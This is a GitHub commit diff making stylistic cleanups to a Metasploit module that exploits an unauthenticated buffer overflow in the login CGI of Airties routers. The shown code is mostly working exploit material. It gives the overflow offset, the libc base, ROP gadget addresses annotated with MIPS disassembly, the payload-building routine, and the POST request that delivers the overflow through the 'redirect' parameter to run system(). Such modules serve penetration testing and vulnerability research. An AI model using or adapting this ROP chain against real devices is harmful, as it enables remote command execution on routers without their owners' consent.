Skip to content

Commit 952f391

Browse files
committed
Do minor code cleanup
1 parent f5b0a7e commit 952f391

File tree

1 file changed

+21
-20
lines changed

1 file changed

+21
-20
lines changed

modules/exploits/linux/http/airties_login_cgi_bof.rb

Lines changed: 21 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -15,17 +15,17 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'Airties login-cgi Buffer Overflow',
1717
'Description' => %q{
18-
This module exploits an remote buffer overflow vulnerability on several Airties routers.
19-
The vulnerability exists in the handling of HTTP queries to the login cgi with
20-
long redirect parameter values. The vulnerability can be exploitable without authentication.
21-
This module has been tested successfully on Airties firmware AirTies_Air5650v3TT_FW_1.0.2.0.bin
22-
in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453,
23-
Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
18+
This module exploits a remote buffer overflow vulnerability on several Airties routers.
19+
The vulnerability exists in the handling of HTTP queries to the login cgi with long
20+
redirect parameters. The vulnerability doesn't require authentication. This module has
21+
been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.
22+
Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,
23+
Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
2424
},
2525
'Author' =>
2626
[
27-
'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability
28-
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
27+
'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability
28+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
2929
],
3030
'License' => MSF_LICENSE,
3131
'Platform' => ['linux'],
@@ -34,31 +34,32 @@ def initialize(info = {})
3434
[
3535
['EDB', '36577'],
3636
['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory
37-
['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'], #PoC
37+
['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC
3838
],
3939
'Targets' =>
4040
[
4141
[ 'AirTies_Air5650v3TT_FW_1.0.2.0',
4242
{
4343
'Offset' => 359,
4444
'LibcBase' => 0x2aad1000,
45-
'RestoreReg' => 0x0003FE20, # restore s-registers
46-
'System' => 0x0003edff, # address of system-1
47-
'CalcSystem' => 0x000111EC, # calculate the correct address of system
48-
'CallSystem' => 0x00041C10, # call our system
49-
'PrepareSystem' => 0x000215b8, # prepare $a0 for our system call
45+
'RestoreReg' => 0x0003FE20, # restore s-registers
46+
'System' => 0x0003edff, # address of system-1
47+
'CalcSystem' => 0x000111EC, # calculate the correct address of system
48+
'CallSystem' => 0x00041C10, # call our system
49+
'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call
5050
}
5151
]
5252
],
5353
'DisclosureDate' => 'Mar 31 2015',
5454
'DefaultTarget' => 0))
55+
5556
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
5657
end
5758

5859
def check
5960
begin
6061
res = send_request_cgi({
61-
'uri' => "/cgi-bin/login",
62+
'uri' => '/cgi-bin/login',
6263
'method' => 'GET'
6364
})
6465

@@ -103,24 +104,24 @@ def prepare_shellcode(cmd)
103104
# 0003FE48 addiu $sp, 0x48
104105

105106
shellcode << rand_text_alpha_upper(36) # padding
106-
shellcode << [target['LibcBase'] + target['System']].pack("N") # s0 - system address-1
107+
shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1
107108
shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4
108-
shellcode << [target['LibcBase'] + target['CallSystem']].pack("N") # $s5 - call system
109+
shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system
109110

110111
# 00041C10 move $t9, $s0
111112
# 00041C14 jalr $t9
112113
# 00041C18 nop
113114

114115
shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7
115-
shellcode << [target['LibcBase'] + target['PrepareSystem']].pack("N") # write sp to $a0 -> parameter for call to system
116+
shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parameter for call to system
116117

117118
# 000215B8 addiu $a0, $sp, 0x20
118119
# 000215BC lw $ra, 0x1C($sp)
119120
# 000215C0 jr $ra
120121
# 000215C4 addiu $sp, 0x20
121122

122123
shellcode << rand_text_alpha_upper(28) # padding
123-
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("N") # add 1 to s0 (calculate system address)
124+
shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address)
124125

125126
# 000111EC move $t9, $s5
126127
# 000111F0 jalr $t9
@@ -134,7 +135,7 @@ def execute_command(cmd, opts)
134135
begin
135136
res = send_request_cgi({
136137
'method' => 'POST',
137-
'uri' => "/cgi-bin/login",
138+
'uri' => '/cgi-bin/login',
138139
'encode_params' => false,
139140
'vars_post' => {
140141
'redirect' => shellcode,

0 commit comments

Comments
 (0)